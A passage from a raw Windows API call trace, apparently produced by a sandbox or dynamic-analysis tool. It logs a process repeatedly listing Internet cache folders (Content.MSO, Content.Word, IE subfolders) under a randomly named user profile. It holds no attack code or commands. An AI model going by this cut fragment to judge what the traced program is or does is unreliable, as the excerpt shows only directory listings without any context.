lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.441] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.442] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.442] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.442] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x4b [0211.442] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.mso\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469460 [0211.443] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.443] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.443] FindClose (in: hFindFile=0x1d469460 | out: hFindFile=0x1d469460) returned 1 [0211.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.443] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", lpFilePart=0x0) returned 0x4c [0211.443] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.word\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.449] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.449] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.449] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.450] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", lpFilePart=0x0) returned 0x4c [0211.450] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.word\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6fe28f7f, ftLastAccessTime.dwHighDateTime=0x1d99cf4, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0211.450] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6fe28f7f, ftLastAccessTime.dwHighDateTime=0x1d99cf4, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.451] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6fe28f7f, ftLastAccessTime.dwHighDateTime=0x1d99cf4, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.451] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0211.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.451] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", lpFilePart=0x0) returned 0x42 [0211.451] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0211.452] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.452] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="739YIURQ", cAlternateFileName="")) returned 1 [0211.453] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x43e7bc61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43e7bc61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43e7bc61, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.453] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="H5AKQRD0", cAlternateFileName="")) returned 1 [0211.453] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPOVC752", cAlternateFileName="")) returned 1 [0211.456] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKBF3RDE", cAlternateFileName="")) returned 1 [0211.456] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKBF3RDE", cAlternateFileName="")) returned 0 [0211.457] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0211.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.457] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", lpFilePart=0x0) returned 0x42 [0211.457] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0211.458] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.458] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="739YIURQ", cAlternateFileName="")) returned 1 [0211.458] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x43e7bc61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43e7bc61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43e7bc61, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.458] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="H5AKQRD0", cAlternateFileName="")) returned 1 [0211.458] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPOVC752", cAlternateFileName="")) returned 1 [0211.459] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKBF3RDE", cAlternateFileName="")) returned 1 [0211.459] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.459] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0211.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.459] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\739YIURQ", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\739YIURQ", lpFilePart=0x0) returned 0x4b [0211.460] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\739YIURQ\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\739yiurq\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x1d947a1e, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0211.460] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x1d947a1e, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.460] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d947a1e, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1d947a1e, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="suggestions[1].en-US", cAlternateFileName="SUGGES~1.EN-")) returned 1 [0211.460] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.461] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0211.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.461] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\739YIURQ", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\739YIURQ", lpFilePart=0x0) returned 0x4b [0211.461] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\739YIURQ\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\739yiurq\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x1d947a1e, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1d947a1e, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.461] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x569229, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x1d947a1e, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1d947a1e, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.462] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d947a1e, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1d947a1e, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="suggestions[1].en-US", cAlternateFileName="SUGGES~1.EN-")) returned 1 [0211.462] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d947a1e, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1d947a1e, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="suggestions[1].en-US", cAlternateFileName="SUGGES~1.EN-")) returned 0 [0211.462] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.462] SetThreadErrorMode 